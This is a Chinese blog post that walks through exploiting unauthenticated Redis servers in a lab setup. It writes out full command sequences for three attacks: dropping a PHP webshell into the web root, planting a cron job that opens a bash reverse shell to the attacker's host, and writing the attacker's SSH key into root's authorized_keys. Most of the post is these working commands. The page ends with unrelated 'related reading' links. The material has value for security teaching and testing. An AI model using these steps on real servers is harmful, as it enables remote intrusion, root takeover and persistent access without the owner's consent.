• 漏洞复现 - - - 未授权访问漏洞Redis


    目录

    一,未授权访问漏洞概述

    二,常见的未授权访问漏洞

    Redis历史漏洞

     三,Redis未授权访问

    漏洞信息

    Redis 简介

    四,环境搭建

    漏洞环境搭建

    五,漏洞利用方法

    实验环境

    方法一

     ​编辑

     方法二

     方法三


    一,未授权访问漏洞概述

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

    二,常见的未授权访问漏洞

    1.MongoDB 未授权访问漏洞

    2.Redis 未授权访问漏洞

    3.Memcached 未授权访问漏洞CVE-2013-7239

    4.JBOSS 未授权访问漏洞

    5.VNC 未授权访问漏洞

    6.Docker 未授权访问漏洞

    7.ZooKeeper 未授权访问漏洞

    8.Rsync 未授权访问漏洞

    9.Elasticsearch 未授权访问漏洞
    10.Hadoop 未授权访问漏洞
    11.Jupyter Notebook 未授权访问漏洞

    Redis历史漏洞

    因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

     三,Redis未授权访问

    漏洞信息

    Redis 简介

    Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。Redis 支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载到内存使用。Redis 不仅支持简单的 key-value 类型的数据,同时还提供 list,set,zset,hash 等数据结构的存储。Redis 支持主从复制,即 master-slave 模式的数据备份。

    四,环境搭建

    漏洞环境搭建

    docker pull medicean/vulapps:r_redis_1
    docker run -dit -p 6379:6379 -p 2222:22 medicean/vulapps:r_redis_1

    五,漏洞利用方法

    实验环境

    目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200

    攻击机器:Kali、IP地址:10.1.1.100

    本次实验环境来源自合天网安实验室

    方法一

    通过redis数据备份功能,WEB网站根目录写入一句话木马,利用shell 得到WEB网站权限

     思路:得到了IP地址应该首先进行信息扫描

    发现80端口是开放的

    22端口:ssh远程登录
    80端口:http网站服务
    6379端口:redis服务

    访问80端口发现仅是一个测试页面

    python3 dirsearch.py -u 10.1.1.200 -e php   //使用dirsearch工具对网页进行暴力扫描

     

     

    发现1.php   phpinfo.php存在信息泄露 

    访问一下phpinfo

    目标机器存在6379即Redis服务,尝试一下看是否存在Redis未授权漏洞:

     安装 redis-cli

    apt install redis-tools  //安装包管理器

     

     wget http://download.redis.io/releases/redis-6.0.3.tar.gz       //下载redis

     

    tar -zxvf redis-6.0.3.tar.gz       //解压

     

    make     //编译 

    redis-cli -h 10.1.1.200 -p 6379         //连接redis服务器

    -h:指定连接的redis服务器

    -p 指定6379端口 

    info打印信息 如版本目录信息

     

    key *  //列出当前数据库的所有键 

    config set dir /var/www/html        //设置备份文件的放置路径

    config set dbfilename shell.php    //设置备份文件的文件名

    set x "      //x表示添加一个键,这个键的值为一句话木马
    save     //保存

     

     使用中国蚁剑连接

     连接成功,双击即可管理

     方法二

    通过定时任务反弹Shell

     1.开启对4433端口的监听

    nc -lvvp 4433

     2.redis-cli连接

    key *

    del x     //增加一个键X

    set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"  
    //设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/.........

    config set dir /var/spool/cron    //设置备份路径
    config set dbfilename root    //设置备份文件名
    save         //保存


     3.查看监听返回数据

    输入whoami查看用户,定时反弹shell成功

     方法三


    SSH公钥,实现免密登录linux服务器

    攻击者在未授权访问Redis的情况下可以利用Redis,运行 Redis的用户是 root 用户,攻击者将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,所以可以无需密码直接登录目标服务器。

     1.写入ssh公钥

    ssh-keygen -t rsa    

     2.将公钥写入txt文件,用\n换行,避免和Redis混合不好分辨

    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

    cat /tmp/foo.txt       /查看txt文件


     4.用redis-cli -h ip命令连接靶机
     

    cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey     //连接靶机传入文件

    redis-ccli -h 10.1.1.200 -p 6379     //连接redis

    config set dir /root/.ssh/              //设置备份文件路径

    config set dbfilename "authorized_keys"         //命名
    save                //保存

     

     5.利用ssh远程连接目标机器 ,连接成功

    ssh root@10.1.1.200 -i/root/.ssh/id_rsa   //

  • 相关阅读:
    汽车发动机各系统部件构造图解及名称大全(超详细)
    BEVFormer 论文阅读
    Docker与低代码跨平台开发:实现高效跨平台开发的新范式
    4核8G服务器并发数多少?性能如何?
    NEFTune: 通过简单的噪声提升指令精调效果
    让python代码找到文件路径的最好方法
    解决Unity打包时,Android SDK 报错问题
    STM32F103在CubeIDE运行FreeRTOS
    python ⾯向对象
    RabbitMQ 消息的可靠性
  • 原文地址:https://blog.csdn.net/weixin_67503304/article/details/126236197